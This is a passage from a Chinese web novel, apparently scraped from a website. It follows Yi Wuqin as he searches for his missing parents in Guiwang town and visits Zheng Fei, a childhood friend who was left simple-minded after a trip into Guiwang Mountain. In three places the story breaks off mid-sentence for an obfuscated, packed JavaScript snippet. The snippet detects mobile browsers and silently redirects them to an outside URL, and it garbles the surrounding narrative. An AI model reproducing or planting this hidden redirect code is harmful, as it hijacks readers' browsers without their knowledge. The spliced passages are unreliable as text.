“外地的怎么了?你对外地的有偏见吗?”郑咏絮好奇。 宋兰芳朝她翻了个白眼,“你看你姐,谈的就是外地,北方的。” 郑咏絮撇嘴,“我谈哪里的跟她又没有关系。”她挽着宋兰芳的胳膊,“你是不想我远嫁吗?” 宋兰芳叹了口气,“先不说你这个身体的毛病,去外地生活根本就不大可能。就说你姐那样吧,找的那个小张。又不是啥大富大贵的家庭,结果人家里里外外摆谱摆大了,弯酸得不得了。他那个爸妈还瞧不起咱们家庭是乡镇上的小地方人。你姐真跟小张结婚了,哭都找不到地方哭。” 她又继续说,“你姐读的医科大学,本来想考研继续读。但是小张家里说她本来就读了五年,硕士又要读三年,耽误结婚生娃儿的时间。还嫌弃她读的医科大学不是985,也不是211。” 郑咏絮坐直了身体,“医科大学怎么了,好得很。那个小张也不是985211吧,轮得到他说三道四。” 宋兰芳冷哼一声,“谁说不是呢。小张家里希望你姐有个事业编制,工作轻轻松松的那种,多把精力放在家庭身上。” 郑咏絮听得惊了,虽然郑燕比她大两岁,但总觉得两个都还小,离结婚还早得很。现在要考虑现实的因素了,有些难以接受,“那不嫁了呗,受这些气干啥?” “我和你伯母都不喜欢小张,你姐这样的条件哪里找不到好的。但你姐性格固执,越不要她这样,她偏要这样。你伯父觉得家里有钱,到时候给你姐多买两套房子车子的,小张家也不说什么了。”宋兰芳一脸的愤愤不平。 郑咏絮想了想,“那我去看看她。” * 郑咏絮进到郑燕房间的时候,她正在用电脑上网。郑咏絮一眼看见书桌上摆着《行测》《申论》,又凑到电脑旁,发现郑燕搜索的是齐城的考公资讯。 “姐,你要考齐城那里的公务员啊?”郑咏絮问道。 郑燕“嗯”了一声,没有抬头看她。 郑咏絮继续说,“那里好远哦,要是你受欺负了,都没人保护你。” 郑燕冷笑一声,“说得像我在这里受欺负了你就会保护我一样。” 郑咏絮嬉皮笑脸,“你是我姐,我肯定保护你。我把我认识的人都叫上去给你讨回公道。” 郑燕没说话。 郑咏絮去翻书桌上那些考公的书,“姐,我去县里开会,听说隔壁镇的药物种植研究所要招人,不如你去考那里。那个单位不错,跟你专业很对口。说不定你还能一边工作一边考研。” “我晓得他们要招人,考哪里我还在看。”郑燕转头看她,“你找我有事?” “嗯嗯,”郑咏絮说,“今天碰到小萍了,她说这段时间休息得不是很好。我想你学中医的,能不能配点啥子安神的方子,做成香囊放在寝室枕头底下。” 郑燕白了她一眼,“你是不是电视剧看多了,还香囊。”她顿了顿,“好了,我晓得了,等我配好你给她送去。” 说完后,郑咏絮仍然没有离开。郑燕看着她,“还有事?” 郑咏絮嘻嘻笑着,“没事我就不能待在这里吗?” 郑燕转头回去继续看网页。 “哎,姐,我突然想起了,你男朋友是不是也在我现在上班那个大学当老师?”郑咏絮问。 郑燕点头。 “那我有空去了解下,帮你监督着。” 郑燕翻了个白眼没有说话。 * 易无钦回到旅馆时,被金盛叫住。 “我妈做了几个菜,等会一起吃。”金盛笑着说,“反正都是熟人,这几个月的伙食你就在我这里解决,我也不另外收你钱。对我妈来说,就是多双筷子的事。” 易无钦觉得不好意思,“那太麻烦了吧,这样不好,你还要做生意。” “你一张嘴还能吃穷我?不存在的。”金盛笑呵呵。 易无钦想起下午逛旧址的事,就坐到金盛旁,“金盛哥,我问你个事。” “你说。” “我下午去五六-四厂了。以前的医院改成了疗养院,我在疗养院碰到一个人。”易无钦回忆说。 “我听别个喊他郑飞,他居然认识我。” 金盛听了点点头,“郑飞是在那个疗养院养病。小时候他和我们一起玩耍的,你都忘了吗?” 易无钦愣住了,脑海中突然回想起小时候探山洞的场面。 “你那会儿最小,我们带着你一起耍。想不到郑飞脑子糊涂了,居然还记得你。”金盛感慨。 易无钦问:“他怎么了?” 金盛叹了口气,“郑飞本来好好的,初中时有次去鬼王山耍。结果摔了好大一跤,不晓得是不是把脑壳摔到了。反正回来后就病了,后来人越来越痴傻,生活都不能自理。他爸妈也是没得办法,又要打工赚钱给他治病,又怕他没人照顾被人欺负。还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526743|203544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好有疗养院哟,他基本上是长期住在那里了。” 鬼王山,又是鬼王山。易无钦听得心里颇不是滋味。 他说:“我虽然不记得人了。但有些事情还记得。我记得有一次我们去山洞探险。” 金盛歪头细细回忆,一时没想起来。 易无钦提醒道:“就是那个山洞很神奇。黑漆漆的,越往里走感觉越来越挤。” 金盛又回忆了一会儿,才恍然大悟,“哦哦,是不是那次,我们手拉手进去。当时郑飞走在最后面的,出来后,他跟我们说洞里有其他人在拉他的手。把我们都吓到了。” 易无钦愣住了,“郑飞走在最后面?他是二哥?” “对呀。”金盛又了然了,“难怪不得你记不到他的名字,你都是跟着我们喊他二哥,肯定记不到他叫郑飞。” “那大哥呢?” 金盛喝了口水,“大哥是金海军嘛,当时也是他找的洞子,带我们去探险。大哥你还记得到不嘛?唉,他年前去世了。” 易无钦脑中一炸,顿时有点呼吸不上来。金海军?怎么是他?原来童年时就认识的吗?这些事跟他到底有什么关联? 他似乎是不受控制地,双目失神地对金盛说:“我晓得他去世了,心脏病。他死的时候就在我隔壁。” “啊?”金盛大感意外。 易无钦回过神来,定了定心神,“他在我隔壁房子租了两个月,但整整两个月我都没见过他一次。他死的时候悄无声息,都是第二天一早房东发现了报了警我才知道。然后咏絮她们就来了。” “没想到他居然是我早就认识的人。” 金盛听后不胜唏嘘,“原来还有这一段渊源,你也是因为这个原因回归望镇来看看?” 易无钦“嗯”了一声,“哥,我的事也不瞒你。你晓得吧,我爸妈都在归望镇不见了。我姥姥去年也去世了,现在就剩我一人。所以我就是想到处走走看看散心,刚好碰到咏絮她们来东北,我就有了来归望镇的计划。” 金盛听后看向易无钦的眼神更多了心疼和可怜。 “你爸爸妈妈的事,我小时候听说过一点点,具体啥子情况也不清楚。但是如果你有需要帮忙的时候一定要给我讲。” 易无钦低头说了声谢谢。 金盛又继续感慨,“说起进山洞,我记得当时我们五个人去的。金海军死了,郑飞傻了。你呢,成孤儿了。就剩下我和韦浩现在稍微好点。” 易无钦问道:“韦浩?他现在怎么样?” 金盛说:“他高中毕业就去广州打工了,在那边结了婚,很少回来了。” 易无钦犹豫了片刻,忍不住说,“哥,你说当时我们去的那个山洞,是不是有啥问题?专门克我们呢?” 金盛瞪了他一眼,“别瞎说,那就是个普通山洞。当年我挖矿的时候进去过,还有很多人都进去过,啥也没有。” 他喝了口水,放下水杯,“世事无常,这些都是巧合,别强加因果自己吓自己。” 易无钦沉默片刻,又说,“那哥,那个山洞还在吗?” 金盛摇头,“已经封了。这几年不让挖煤矿,大部分山洞都封了。” 他盯着易无钦说:“你别想去探险了,那些洞子危险得很。像我这种有下洞经验的都不敢随便进,你这种更不用说了。” 易无钦点点头,算是保证。 14. 凿齿 当晚,师兄回了易无钦信息,觉得他的想法很好,也受到了客户认可,叫他下周别出去玩,先专心把设计做了。 师兄的信息将下午的阴霾一扫而空,易无钦心里十分高兴,这笔单子结的款起码能让他在归望镇安安心心住半年。 他拿出笔记本电脑,看了半天却有些犯难。 笔记本虽然也能做一些设计,但要想用更多功能做好点,还得是台式更专业。 买一台配置高的吧,易无钦在心里计划。就算以后有了正式工作,家里也是必备的。而且物流发达,在这里买了,也能寄回东北去。 思定后,他立马下楼去找金盛说了这件事。 金盛一口答应了他在房间里装台电脑的事,而每个房间本来也预留了网线的位置。他告诉易无钦买电脑得去宾化县里,归望镇只有技术人员。 易无钦决定第二天就去。他高兴地主动帮金盛把一楼的地拖得干干净净,回到房间后还给张鹏打了个电话,让他帮忙寄点东北特产过来,他要送人。 想了想,他坐在床上,给郑咏絮发了信息说明天想去宾化县买电脑。郑咏絮很快回过来电话。 “你说要买电脑,我倒是想了一个事,你看可不可行。” “年前金万堂给我换了个新手机,是他让郑元陪我去买的。郑元是他的手下,跟那些卖电子产品的挺熟。” 郑咏絮说到这里顿了一顿,“当然这不是最重要的。重要的是我可以主动跟金万堂说你要买电脑,让郑元陪你去。你懂我的意思吗?” 易无钦瞬间懂了,“我明白,一方面你是向金万堂表明忠心,让他对我们没那么戒备。一方面你让我和金万堂的人都彼此熟悉熟悉。” “嗯嗯,”郑咏絮松了一口气,生怕易无钦误会自己的意图,“我们有些时候看似被动,实则主动。” 易无钦说:“那你跟金万堂说吧,我会假装自己什么也不知道。” 郑咏絮跟易无钦沟通好后,立即给金万堂打去了电话。 “万堂公公,易无钦刚刚跟我说他想去宾化县买电脑,我想的是,他人生地不熟,让郑元带他去买吧?” 金万堂自然同意她的提议,“那很好,你把他电话给郑元,我让郑元跟他联系。” 他停顿了下,“雪雪,周末有空吗?和你伯父来公公家吃饭吧。” 郑咏絮回答道:“周末天气好,我想带小萍去山水村爬山。要不晚上吃饭?” 金万堂说:“可以呀,你多关心小萍是好事。呵呵,爬完山公公给你们准备大餐。” * 郑元是开车来接易无钦的。 “真是巧了,今天我正好要上宾化县里办事。”郑元对他很客气。 易无钦受宠若惊,“真是太麻烦你了。” “不存在,你是雪雪的朋友,她按辈分是我妹妹,那你也是我的朋友。”郑元边开车边说,“听她说你来归望镇耍,要住上好几个月。” 易无钦:“嗯嗯。” 郑元说:“反正你有我的微信和电话,有啥事随时联系我,都是兄弟伙。你就跟她一样,喊我哥。” 易无钦:“谢谢哥。” “你跟雪雪在谈恋爱吗?”郑元冷不丁问。 易无钦瞬间脸就红了,他不知该怎么回答,郑咏絮也没跟他提前对过。 “还没有。”他含含糊糊说。 郑元瞥了他一眼,发现他连耳朵都红了,笑了起来,“现在还没有,那你就加油。雪雪还是很不错,喜欢她的人不少。” 易无钦越发不敢说话,一个是他怕乱说话露馅,一个是他确实不知道该怎么回答。万一郑咏絮有其它说辞,那么自己岂不是在自作多情。 通过这些天的接触来说,他明显感觉到郑咏絮是个极有主见的女孩,目标清晰明确。如果自己有一些旖旎的心思,会不会在她看来,是不合时宜的想法,从此就疏远了?易无钦拿不准她的心思。 郑元见他不说话,以为他是害羞了。 “对了,你买电脑是要干啥?”他另外找了个话题。 易无钦回答说:“我是学美术的,有些设计上的活儿要做。电脑做起来顺手得多。” “哦,你会设计啊?”郑元来了兴趣。 易无钦“嗯”了一声,“有时候接点散活儿,给客户做张海报什么的。” “那你接活儿是个什么价?”郑元继续问。 易无钦说:“一张画面300-500块。” 郑元拍了下方向盘,“那行,兄弟,我正在筹备新公司的事。到时候你来帮我设计文化墙吧,之前广告公司做的不行,丑得很。我要做得有文化,有水平。” 易无钦笑道:“行啊,你随时联系我。谢谢哥。” 郑元继续畅想:“要是你想在归望镇长住呢,就来新公司上班。我们开辟一条设计方面的业务,高端的那种,专门做宾化县有钱老板们的生意。做好了再去渝州发展。你觉得怎么样?” 易无钦:“哥您真看得起我,我不过是个刚毕业的大学生,水平还差得远。” 郑元笑道:“你是正儿八经的大学生,水平能差到哪里去?你也别把那些老板看得太高了。大多是挖煤挖成暴发户的,没啥文化,啥也不懂。” 说话间,宾化县就到了。郑元将易无钦送去卖电脑的熟人那里,跟老板打好了招呼,再跟易无钦约好下午回归望镇的时候来接他。 有了郑元打招呼,选电脑快捷了很多。易无钦直接说了自己的需求,电脑需要带动的软件,老板经验丰富,很快配置好了,等郑元来接他的时候一块拉回去。 眼看时间还早得很,易无钦决定去县里随便逛逛。 宾化县在他的记忆里非常浅,没来过几次。在他有限的记忆里,宾化县比归望镇大得多,但繁华程度也十分有限。他所能记得的街心花园、河滨公园、批发市场早就不见了踪影。 只有钟鼓楼还存在。易无钦以此为圆点,找到些许隐隐约约的记忆片段。 钟鼓楼下还有几家花店,妈妈曾带他在这里逛,给他买了一盆小小的含羞草。钟鼓楼往前走,以前街心花园的位置,现在是广场,一些阿姨大爷在跳舞健身。他记得以前这里有一家书店,爸爸还给他买了好几本漫画书。 只是那些漫画书和含羞草早就不知丢到哪儿了,宾化县也不复记忆中的样子。 一回忆必然想到爸爸妈妈,这也是他来归望镇的一大目的。 易无钦的心情有些沉重,迷茫和无力感占据了他的内心。关于父母的下落,完全是毫无头绪,根本不知从何着手。他不知道该去哪儿找,也不知该问谁。 只能走一步看一步。 * 或许是日有所思夜有所梦。 在忙完电脑安装通网后,易无钦累得早早就睡觉了。 很快就做起了梦。 非常奇怪的梦。 他在河滩旁看见一块大石头,走上前去,忍不住拿手拍打。 大石头一拍即响,可发出的却是鼓声。易无钦很自然清晰地知道,那是铜鼓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526744|203544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的声音。 他继续拍,大石头继续发出铜鼓声。明明是用手拍,但那声音分明是用鼓槌敲击出来的。 鼓点越来越密,像是在召唤什么。 很快,易无钦的身边出现了人,一个又一个人。 全都是他认识的,他爸爸妈妈,他姥姥和殷老太,还有张鹏和一些同学。跟着鼓点的节奏,郑咏絮也出现了,然后是金盛,郑飞,郑元,还有金海军…… 他们围在易无钦身边。 鼓声不知道什么时候停了。易无钦发现自己躺在椅子上,是医院那种椅子。一束强光打过来,他被刺-激得闭上了眼睛。 爸爸妈妈一左一右拉着他的手,叫他不要害怕。他听话地睁开眼睛,头顶有一个戴口罩的医生,拿着镊子要给他拔牙。 易无钦没有任何反抗,也没有任何疼痛,被拔去了一颗门牙。 周围人都在欢呼,爸爸妈妈对他说,“超超,你成年了。” “对呀,爸妈,我都大学毕业了。”他回答道。 突然场景又变成了大山里,他发现自己站在崎岖的崖边。 “我该不会掉下去吧?”他看着底下的深渊,在心里这样想着。 似是有所感应,易无钦回过头。一只青蛙从天而降,狠狠扑向他。他不由自主向后倒去,狠狠地坠落。 强大的下坠感让易无钦一下子惊醒。 他大口喘着气,慌忙用手摸着自己浑身上下。发现自己完好无损,这才松了口气。他又赶忙去摸自己的牙齿,好在没有缺少任何一颗。 这才放下心来,易无钦发现自己浑身都是汗水。 他拿过手机一看,刚过五点。 易无钦倒在床上,回想了一遍刚才那梦。 梦境很奇怪,莫名其妙的。但梦本来就是光怪陆离,要从科学角度来说,梦境里的铜鼓和青蛙,都是现实里那条坠子上的东西。所谓潜意识折射罢了。 只有拔牙是奇怪的,但在这个片段里,爸爸妈妈还有姥姥都出现了。 他们的音容笑貌萦绕在易无钦心里。 这么多年来,他几乎很少梦见他们。 准确地说,他梦见过爸爸两次,妈妈零次。 第一次是六年级毕业考了学校第一名的当晚,爸爸坐在家里的沙发上看着他笑。易无钦不知道这算是他真的来看自己了,还是说这是自己心愿的折射。 第二次是一个平常的夜晚,梦见爸爸坐在书桌前,埋头整理一大堆笔记本。 他到现在还记得梦中的场景。因为梦醒的早上,他立即在本子上记录下了梦境。梦会随着时间飞快流逝,只有记录了才能加深印象,将场景印刻在脑海中。 可惜,十几年只记录过两次,那个本子也放在东北家中。 易无钦打开了手机备忘录,将刚才的梦境一一记录下来。 记录完后,他起身跳下床,拉开窗帘。从这个房间望出去,能看到鬼王山那起伏的山顶。 这是不是爸爸妈妈在给他什么提示呢? 易无钦不得而知。 归望镇的人起得都比较早,这会儿街上已经有了人声,一些做生意的开始出摊了。 横竖是睡不着了,易无钦去洗了个澡,将身上的汗水冲洗干净。 吹干头发时,他发现镜子被水汽笼罩,朦朦胧胧啥也照不清楚,于是拿了纸巾去擦干净。 等把水汽都擦干时,一张棱角分明的脸出现在镜子里。易无钦正照得起劲,却赫然发现,自己脖颈间那道红线,好像又加深了。 15. 痴傻 春日的天气多变。 连晴了好几日后,终于下起了淅淅沥沥的春雨。 易无钦打着伞,去了镇上的派出所。 接待他的民警叫刘层,约莫四十岁。 “我叫易无钦,曾用名易超。我是想了解下当年我父母失踪的事。”易无钦对他说,“我爸爸叫易松涛,妈妈叫文绫。” 刘层听他说了父母名字和大致情况后,一下子就想起来了,“这个案件我知道。真是巧了,当年我才调到归望镇来就参与了这个案件。” 他调出卷宗,告诉易无钦,“这个事情我们一直在跟踪,他们和你的DNA都保存着,而且上传了数据库。只是很遗憾,这么多年一直都没发现你父母失踪的线索。” 易无钦低头不语。 刘层继续说,“鬼王山地形复杂,丛林茂盛,很多地方都没有开发,找起来难度是很大。不过这些年山里开了大大小小很多煤矿,工人下山进矿,偶尔会发现尸骨来报案。每次我们都会做比对,但是没发现你父母的。那些尸骨大多也是解放前的人。” “我记得当年你还是个小孩子,瘦瘦小小,没想到现在长得这么高高大大的。时间过得真快。”他感慨,“你爸妈的事,咱们一直都有调查。你存个我的电话吧,有啥子事都可以给我打电话。” 易无钦抬头时,声音有些哽咽,“谢谢警察叔叔。”他拿出手机存了电话。 没什么更多有用信息了,易无钦离开了派出所。 他本就不指望派出所有什么有用信息,只是不来的话他心里也过不去。让他感到欣慰的是,派出所这么多年也没放弃调查,他们还记得父母的失踪。 易无钦撑着伞慢慢走在街上,心情跟雨天一样惆怅。 他在老街随意逛着,今天是赶场日,虽然下着雨,但还是很热闹。 小时候,妈妈最喜欢赶场,带着他一起在街上挑挑选选。妈妈很喜欢归望镇的各种特产,还会买一些让人捎给东北的姥姥。他也喜欢赶场,卖冰糖葫芦的会出来。他要是看见了插满糖葫芦的那根杆子,一定会拉着妈妈过去给他买一串糖葫芦。 可惜今天赶场的没有冰糖葫芦。 继续往前走,不知不觉,就走到了教师村。 教师村在老街街尾,镇小学体育场下面。这是一个小院子,有两栋连着的居住楼,一共四楼,每层五户人家,住的都是镇小学的老师们。 这里其实承载了很多童年的记忆,院子里有好几个小伙伴经常一起玩。大家会跟着他学说东北味的普通话,也会教他说归望镇的方言。 金盛说教师村的教师换了又换,早就不是当年的那些人了。而且学校在新大道上修了新的教师村,比原来的条件好太多,很多教师都住在那里去了。 易无钦在院子门口看了看,里面空空荡荡,没啥人,跟他记忆中也有些不一样。他没多停留就离开了。 中午是在镇上的馆子解决的。他要了碗肉丝米粉。 归望镇的米粉很特别,将稻米磨成米浆,在圆板上抹一层,然后放进蒸锅里蒸两分钟,拿出来挂在杆子上,阴干后切成条就好了。煮的时候在沸汤里放十秒就捞起来,吃起来软滑细腻,不带胶感,很有嚼劲。 肉丝都是当天现炒的,味道比较家常。他小时候很爱吃归望镇的米粉,可出了宾化县却吃不到,连渝州都不是这样的口感。 吃完米粉后,易无钦打着饱嗝觉得今天的气氛很适合怀旧。 他在水果摊买了些新鲜的草莓和苹果,决定去疗养院看望郑飞。 * 下着雨不能去院子里活动,郑飞在房间里呆呆看着窗外出神。 易无钦来的时候,郑飞奶奶刚洗完饭碗回房间。 “你好,我是来看望郑飞哥哥的。”易无钦将手里的水果交给她。 郑飞听见他的声音,兴奋地从病床上跳下来,“超超,你来找我耍了。” 郑飞奶奶梁婆婆难得遇到来看望郑飞的人,认出他是前几天那人,心里也高兴。“你们聊,我去洗水果给你们吃。” 郑飞拉着易无钦在窗边的凳子上坐下。“超超,我好久没看见你了。你去哪里耍了不来找我?” 易无钦笑道:“我回东北了。” 郑飞不高兴地“哦”了一声,很快又兴高采烈,“你回来了我们又可以一起耍了。” “你想去哪里耍嘛?”易无钦问道。 “去山里呀,”郑飞兴奋又小声说,“我在山里发现了好耍的,我带你去。” 他又神神秘秘说,“你不要给大人讲,他们肯定不让我们去。” 易无钦说:“我也有好耍的东西。” “啥子?”郑飞睁大了眼睛,好奇看着他。 易无钦想了想,说:“你喜欢看电影吗?我下次把电脑拿过来给你放电影看。” “好呀好呀,我要看武侠片。”郑飞高兴得手舞足蹈。 正说着话,梁婆婆将洗好的水果端过来了,“来吃水果。” 易无钦看盘子上,梁婆婆将草莓洗干净还去了蒂,苹果也切成小块。他再看看郑飞的穿着干干净净,病房也收拾得整整齐齐,看得出来梁婆婆很讲究,把郑飞照顾得很好。 “婆,你最辛苦,你多吃点。”郑飞将草莓喂到她嘴里,梁婆婆笑呵呵吃着。 “谢谢你来看飞飞,他就喜欢跟人说话。”梁婆婆慈祥地对易无钦说。 易无钦笑道:“小的时候郑飞哥哥经常带着我玩,我来看他是应该的。以后我还会经常来看望他的。” “要得,那太好了,谢谢你。”梁婆婆说。 郑飞专专心心吃着水果,听到易无钦说要经常来看望他就抬起头嘿嘿笑,“我要看武侠片,我要看武侠片。” 吃完水果,又聊了会儿天,郑飞就犯困了。易无钦帮助梁婆婆将他弄到床上午睡。 “对了奶奶,郑飞哥哥怎么变成这样的?我听说是伤到了头?”他忍不住问道。 梁婆婆叹了口气,“小时候有次他跑到山里去耍,回来就不对劲了。” 郑飞的祖祖辈辈都是在鬼王山里摸爬滚打成长起来的,郑飞这样的男孩子自然也不例外。对于归望镇的大多数男生来说,不过是稀松平常的事情。 那一次去山里玩,也不过是平平常常的一次。 只是回来时,郑飞身上挂了彩,头脸和手脚都有不同程度的伤口。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526745|203544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “飞飞是个调皮的男娃儿,有点伤口好正常嘛,只要没伤到要害就没啥子事。”梁婆婆回忆那天的情景,历历在目,“但是那天他回来,除了那些伤口,更不对劲的是他整个人的状态,恍尔忽兮的,跟他说话,好半天才回复。” 她继续说,“我们以为他是耍累了,没在意。哪晓得第二天老师打电话来说他没去上课,问我们怎么回事。” 跟归望镇大多数孩子一样,郑飞平时都是自己上下学,不需要家里人接送。而他算是个乖孩子,没有出现过逃课的情况。老师打了电话,家人在家里一找,发现他躺在床上还没起来。 “他爸爸气得当场就要打他,我使劲拦住了。飞飞虽然成绩一般,但人很乖,没去上课肯定是有原因。我看到飞飞的样子始终不对劲,还是恍恍惚惚的,像丢了魂。他爸妈说我是迷信,他们带到医院去检查,也没检查出啥子。后来还去了渝州的大医院,医生说是头部受了伤,伤到神经了,这辈子都恢复不了。一直都是这样呆呆傻傻的样子。”梁婆婆说到这里忍不住落泪,“造孽娃儿哟,我们飞飞明明好好的一个人,他说他以后要挣大钱给我享福。怎么就成了这个样子?” 易无钦默默递了几张纸巾给梁婆婆。 梁婆婆哭够了,擦了擦眼泪,“其实,我觉得飞飞根本不是遭伤了头部。他回来那天我看了的,身上都是一些小的擦伤。头上也没有奇怪的地方,不仅没伤口,连包都没得。” 她顿了顿,犹豫了半天才说,“我觉得飞飞是在山里冲撞了啥子,被吓傻了。” “什么?”易无钦呆住了。 梁婆婆叹口气,“你是年轻人,是不是也觉得是我老太婆迷信?” 当年郑飞出事后,梁婆婆按照老一辈迷信的说话,买了纸钱和香烛去鬼王山里烧,走一路烧一路,还请人做法喊魂。可惜对郑飞毫无作用。 “喊魂?”易无钦忍不住问道。 “有个端公告诉我,飞飞这样子就是丢了魂,要喊回来。只是不晓得丢到哪里去了,找不到他就好不了。”梁婆婆又开始落泪。 易无钦一颗心怦怦直跳,他抿了抿嘴唇,“婆婆,这个山叫鬼王山,是不是真的有鬼王啊?” 梁婆婆却摆了摆手,“啥子鬼王?没听过。这山上有个大石头,样子很奇怪,有时候晚上路过看着恐怖。归望镇风大,吹得山里呼呼的,怪声多。他们就说那是鬼王的化身,所以叫鬼王山。但其实这些年去山里挖煤矿的人那么多,有鬼王的话不早就现身了吗?所以这就是个山的名字而已,不是真的有鬼王。” 她说,“山里野坟多,肯定是哪里的孤魂野鬼害了我们飞飞。” “飞飞哥哥会好起来的。”易无钦看着熟睡中的郑飞,心里的想法慢慢在成型。 但听在梁婆婆耳里,这不过是这么多年听惯了的安慰,“谢谢,你能经常来看他就很好了。” 一会儿,护士过来,叫梁婆婆过去领药和物品。她让易无钦看着点,就跟着护士去了。 熟睡中的郑飞翻了个身。易无钦走过去替他把被子盖好。 他看着郑飞,心里想了又想,终于伸出手去,拨开他颈部的衣物。 那里,没有红线。 16. 求道 周末是好天气,艳阳高照。 郑元开车来接易无钦的时候,车上后排已经坐着郑咏絮和金小萍。 郑咏絮摇下车窗上下打量易无钦,“你这一身挺专业嘛。” 易无钦穿着黑色冲锋衣,脚下是登山鞋,肩上背着双肩包,手上还拿了一支登山杖。 他看了看车窗里,郑咏絮和金小萍只是穿着平日里的衣服和运动鞋。 “兄弟,你这搞得太隆重了,山水村那个山又不难爬,几步路就上去了。”郑元哈哈大笑。 “哎呀,别个这叫专业,你不懂。”郑咏絮嘟着嘴。 “好好好,我不懂,我乡巴佬。你就护着他吧。”郑元一边说一边催着易无钦上车。 郑咏絮脸一红,没有说话。 金小萍笑着小声开口,“我觉得无钦哥哥这一身很帅,像男明星。” 易无钦笑了笑,没有说话。 郑元边开车边说,“你看看,你一来她俩都夸你。我跟她们认识这么久,没听过说我一句好。” “怎么没说你好?你好烦人行了吧?”郑咏絮翻了个白眼。 “你听听,说我就是这样的话。”郑元撇着嘴对易无钦说。 易无钦笑道:“我们都很感谢哥送我们去爬山,晚上我请大家吃烧烤吧。” 郑元赞许地说,“这才是我的好兄弟。不过今晚金大爷准备了丰富的大餐,烧烤改天嘛。” 他对易无钦说,“金大爷专门说了,你是雪雪的朋友,以前也在归望镇住过的,都是熟人。他喊我邀请你晚上一起吃饭。” “我?”易无钦大感意外,他和郑咏絮迅速交换了眼神,彼此都是疑惑,“这不好吧,我都没见过金大爷。” 郑元眼睛看着前面的路:“没得事,金大爷很慈祥的一个人。你就跟雪雪小萍她们一起来,一回生二回就熟了。” 易无钦没有说话,心里有些拿不定主意。 郑元当他是默认了,“就这么说定了,下午你们下山的时候给我打电话,我来接你们。” 金小萍问道:“郑元哥哥,你不跟我们一起爬山吗?” 郑元摇摇头,“你看我是喜欢爬山的人吗?平时跑动跑西够累的了,爬山就算了。” 他把三人送到山水村村委会门口,交代几句后就离开了。 山水村这两年略小火。其一是有一条崎岖又艰险的爬山线路,被爬山圈的友人们称为“华容道”;其二是一位高僧出资几十万在山上给自己修建了一座悬崖边上的悬空寺,香火还比较旺。 周末天气好的时候,很多宾化县及周边的人会慕名而来看看,久而久之渝州的驴友也喜欢来这里。 现在还不到上午十点,山水村的山脚下已经有不少人三三两两聚集,都是爬山踏青的。 易无钦将自己的登山杖递给金小萍,觉得她更需要。他对郑咏絮说,“要是你走不动了我拉着你走。” 郑咏絮无语笑了,“我们不是去华容道,也不是悬空寺。我们是去找三姨婆,不远,也不难走。” “哦哦。”易无钦讪讪地。 金小萍朝他扬扬手里的登山杖,“谢谢哥哥。山水村的景色很好看,桃花李花都开了,你可以好好欣赏下美景。” 三人缓缓出发。 三姨婆在的道观确实不远,半个小时就走到了。 道观不大,但也有不少香客来上香。三姨婆早就在门口等他们。 “三姨婆,你最近身体好哟,我看你精神得很。”郑咏絮笑嘻嘻上前,从背包里拿出一包东西,“这是我爸妈喊我带给你的乌天麻,你拿去炖鸡汤,补身体得很。” 三姨婆并不推辞,笑呵呵收下。 郑咏絮指着易无钦介绍,“这是易无钦,我朋友,从东北来咱们这儿玩儿。” 易无钦礼貌地问好,“三姨婆好。” “小伙子不错,很好。”三姨婆笑呵呵,她又看向金小萍,“这姑娘脸色怎么看起来这么差?” 郑咏絮说,“小萍妹妹这段时间睡不好觉,所以我今天带她一起爬爬山,晒晒太阳。” “怕是没这么简单,等下让师傅看看,来都来了。”三姨婆拉着金小萍的手盯着她看。 她又问郑咏絮,“中午在这里吃饭?” 郑咏絮摇头,“不了,我们还要去金吉舅舅那里,中午在他家吃饭。” “金吉啊?”三姨婆一拍大腿,“正好我有个东西要给他,你帮我带过去。”她边说着边拉郑咏絮去拿东西,叫易无钦和金小萍在外等等。 易无钦和金小萍在道观院子里找了长凳坐下,太阳暖洋洋晒在身上,真的很舒服。 他从包里拿出一瓶矿泉水递给金小萍,“喝点水吧。” 金小萍说了声“谢谢”,接过水喝了一大口。 易无钦原本对金小萍是无感的,因为他心里始终对金海军有阴影。在听金盛说金海军是当年的大哥后,他的情绪更加复杂。 不过幸好金小萍跟她亲哥长得没那么像,而且总是柔弱文静的样子,让易无钦始终无法将她和楼道里魇住自己的白影联系起来。再加上他看郑咏絮对金小萍挺好的,心里也没那么芥蒂。 “你还好吧?”易无钦问道。 金小萍愣了一下,反应过来他说的是什么,低头没有回答。 易无钦继续安慰道:“我发现咱俩还挺同病相怜。去年十月,我唯一的亲人姥姥也去世了。” 金小萍抬头看看他,“那,你姥姥,你梦见过她吗?” 易无钦摇摇头,想了一下又点点头,“梦见过一次,就前两天晚上。还梦见了我爸爸妈妈,还有好多人。”他顿了顿,没有说好多人里还有金海军。 金小萍张了张嘴,欲言又止。 